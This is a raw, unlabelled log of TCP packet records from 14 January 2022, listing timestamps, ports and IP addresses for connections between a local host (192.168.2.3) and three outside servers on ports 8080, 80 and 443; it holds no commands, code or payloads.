Jan 14, 2022 02:04:29.040031910 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040051937 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040051937 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.040070057 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.040074110 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040096998 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.040096998 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040122032 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040138960 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.040142059 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040164948 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040184975 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040204048 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040205002 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.040225983 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040245056 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040246010 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.040266037 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040285110 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040286064 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.040304899 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040338993 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.040359974 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040380955 CET	8080	49777	185.7.214.171	192.168.2.3
Jan 14, 2022 02:04:29.040383101 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:29.040435076 CET	49777	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 02:04:31.769483089 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:31.819899082 CET	80	49780	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:31.820305109 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:31.820487976 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:31.820506096 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:31.870990038 CET	80	49780	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:31.903644085 CET	80	49780	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:31.903811932 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:31.904134035 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:31.954320908 CET	80	49780	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.009736061 CET	49781	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.060031891 CET	80	49781	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.060276031 CET	49781	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.060450077 CET	49781	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.060462952 CET	49781	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.110793114 CET	80	49781	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.139498949 CET	80	49781	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.139676094 CET	80	49781	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.139765024 CET	49781	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.140041113 CET	49781	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.190202951 CET	80	49781	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.229701996 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.281503916 CET	80	49782	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.281627893 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.281867981 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.281894922 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.333713055 CET	80	49782	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.366254091 CET	80	49782	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.366321087 CET	80	49782	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.366381884 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.366512060 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:32.395309925 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.395350933 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.395633936 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.396188974 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.396204948 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.418903112 CET	80	49782	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:32.444740057 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.444871902 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.448117018 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.448137999 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.448470116 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.449960947 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.489593983 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.489702940 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.489741087 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.489774942 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.489818096 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.489862919 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.489871025 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.489897966 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.489909887 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.489931107 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.489979982 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.490017891 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.490027905 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.490036011 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.490077972 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.490083933 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.490132093 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.490161896 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.490200043 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.490215063 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.490221024 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.490272045 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.490278006 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.490348101 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.490354061 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491142035 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491209030 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491249084 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491278887 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491288900 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491303921 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491348028 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491355896 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491367102 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491413116 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491420031 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491426945 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491478920 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491483927 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491524935 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491554022 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491589069 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491614103 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491620064 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491626978 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491663933 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491688967 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491705894 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491712093 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491749048 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491765022 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491769075 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491806984 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491827965 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491832018 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491873980 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491889954 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491894007 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491946936 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491955996 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.491961956 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.491991997 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.492029905 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.506963968 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.507056952 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.507237911 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.507328033 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.507369995 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.507432938 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.507488966 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.507493019 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.507498980 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.507508039 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.507551908 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.507563114 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.507570028 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.507615089 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.507626057 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.507740974 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508001089 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508052111 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508086920 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508094072 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508121014 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508136988 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508142948 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508167028 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508189917 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508218050 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508263111 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508276939 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508280993 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508320093 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508341074 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508347034 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508356094 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508399010 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508409023 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508416891 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508441925 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508469105 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508479118 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508517027 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508533955 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508542061 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.508577108 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.508600950 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.524648905 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.524728060 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.524741888 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.524754047 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.524796009 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.524811029 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.524851084 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.524888992 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.524894953 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.524907112 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.524919033 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.524955988 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.524961948 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.524986982 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525027990 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525039911 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525044918 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525087118 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525093079 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525100946 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525144100 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525163889 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525168896 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525202990 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525209904 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525249958 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525266886 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525273085 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525304079 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525321960 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525357008 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525369883 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525376081 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525422096 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525429964 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525440931 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525480986 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525487900 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525511980 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525517941 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525549889 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525567055 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525607109 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525621891 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525628090 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525659084 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525676012 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525716066 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525727034 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525733948 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525768042 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525779963 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525784969 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525805950 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525829077 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525866985 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525909901 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525939941 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.525945902 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.525986910 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.526007891 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.526185036 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.526257038 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.526323080 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.526401997 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.526412964 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.526421070 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.526468039 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.526649952 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.526670933 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.526736021 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.526746035 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.526791096 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.531841040 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.531898975 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.531970978 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.531980038 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.532040119 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.547890902 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.547920942 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548031092 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548043013 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548053980 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548130035 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548136950 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548152924 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548207045 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548214912 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548245907 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548258066 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548264027 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548288107 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548296928 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548319101 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548326015 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548360109 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548388958 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548409939 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548429012 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548497915 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548510075 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548516989 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548537970 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548568010 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548577070 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548607111 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548630953 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548648119 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548666954 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548719883 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548731089 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548738003 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548758030 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548784971 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548829079 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548834085 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.548959017 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.548979044 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.564724922 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.564752102 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.564821005 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.564866066 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.564876080 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.564929008 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.564965010 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.564970970 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565011024 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565041065 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565058947 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565067053 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565078020 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565102100 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565135002 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565157890 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565181971 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565231085 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565237999 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565267086 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565282106 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565287113 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565304995 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565331936 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565336943 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565366983 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565397978 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565414906 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565473080 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565479994 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565505028 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565510035 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565527916 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565577030 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565592051 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565597057 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565614939 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565645933 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565651894 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565704107 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.565723896 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.565794945 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.566951036 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.566975117 CET	443	49783	162.159.129.233	192.168.2.3
Jan 14, 2022 02:04:32.566986084 CET	49783	443	192.168.2.3	162.159.129.233
Jan 14, 2022 02:04:32.566992044 CET	443	49783	162.159.129.233	192.168.2.3
